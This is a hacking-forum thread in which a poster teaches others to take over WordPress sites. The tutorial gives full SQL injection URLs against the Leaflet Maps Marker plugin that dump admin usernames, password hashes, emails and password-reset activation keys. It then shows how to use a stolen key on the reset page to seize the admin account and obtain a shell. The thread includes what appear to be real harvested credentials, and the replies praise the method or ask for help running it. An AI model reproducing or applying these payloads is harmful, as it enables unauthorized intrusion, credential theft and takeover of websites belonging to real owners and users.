[BlackRoas]

Hi HF user !

this thread come to you by ☆¸.•*☆ :: Gaza Hacker Team [ GHT ] and [ GHI ] :: ☆*•.¸☆

Today I'll show you How to inject site - word press - And enter to admin panel in Seconds .

lets say we have this vuln site :

PHP Code


<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=1 


and let's say We extracted column number and admin data [ user and passwors ] by sqli .

PHP Code


<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 Union Select 1,(select(@) from (select (@:=0x00),(select (@) from (wp_users) where (@) in (@:=concat(@,0x0a,user_login,0x3a,user_pass,0x3a,user_email))))a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 -- 


admin logo : michelsenweb
admin password : $P$BPXdeAk4qo6ndqQWUJfuRkMOCqi.bJ0

now this password is difficult to crack it

ok now i will show you Easy way to login into the admin panel

first we going to admin panel and press / Lost your password? \

PHP Code


<?php 
www.site.com/wp-login.php 


Spoiler (Click to View)



now we will put the admin user we found by injectin : michelsenweb .

Spoiler (Click to View)



like this

Spoiler (Click to View)



now we haven't the admin mail to receive a link to create a new password
or to get the activation key .

OK see what i will do !!!

now we will extracted user_activation_key by injection that we will use to grate new password

PHP Code


<?php 
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 UNION SELECT 1,2,3,4,5,group_concat(user_login,0x3a,user_activation_key),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM wp_users 


Spoiler (Click to View)



now we have the user_activation_key to this admin user : michelsenweb

michelsenweb:ADpMtuhLWYbPSubvKwgx

now we will use this Query to grate new password

PHP Code


<?php 
www.site.com/wp-login.php?action=rp&key=user_activation_key&login=user_login 


replace : user_activation_key by ADpMtuhLWYbPSubvKwgx
replace : user_login by michelsenweb .

like this

PHP Code


<?php 
www.site.com/wp-login.php?action=rp&key=ADpMtuhLWYbPSubvKwgx&login=michelsenweb 


Spoiler (Click to View)



now we get this page to grate now password after we Makes
now password press Reset password

Spoiler (Click to View)



ok let's try to log into admin panel by our new password

Spoiler (Click to View)



aha we now in admin panel and now we can spawned shell

Spoiler (Click to View)



hope you learned something 👍

follow us and know last gaza hacker news

[img]http://gaza-images.net/?di=JXOO[/img]

[ajkaro]

Great tutorial as always from BlackRoas... :)

[BlackRoas]

Great tutorial as always from BlackRoas... :)

thx my friend glad you like it

[Jae‌]

Brilliant tutorial, I personally would not have thought about extracting
the activation key. Nice work, I can tell you put a lot of effort into this.

[nirvana115]

Great tutorial and Nice work BlackRoas..:)

[luchni]

Nice tutorial, how long do you think will take them to patch that?

[dddfdfdfdfd]

when trying to extract tables in step 2 i get;

No input file specified.

is this because they don't have that plugin?

[BlackRoas]

thx all glad you like it ^_ ^

[CrashBandicot]

thank you for the great tutorial thanks AhBlackRose alias Injector-Boy ;)

[p0pc0rn]

one of the way to manipulate wordpress login :D
cool stuff bro.

[BlackRoas]

thanks my brother glad you like my tut :D

[SmmHouse]

Nice tutorial Boss. Will try it right now

[root_zone666]

when i want to extract say this :
Error: a marker with the ID -1 does not exist!

[xx 0x0 xx]

lol very nice idea dude i really like it and i didn't think about activation key before

[BlackRoas]

thanks my friend glad you like my thread :D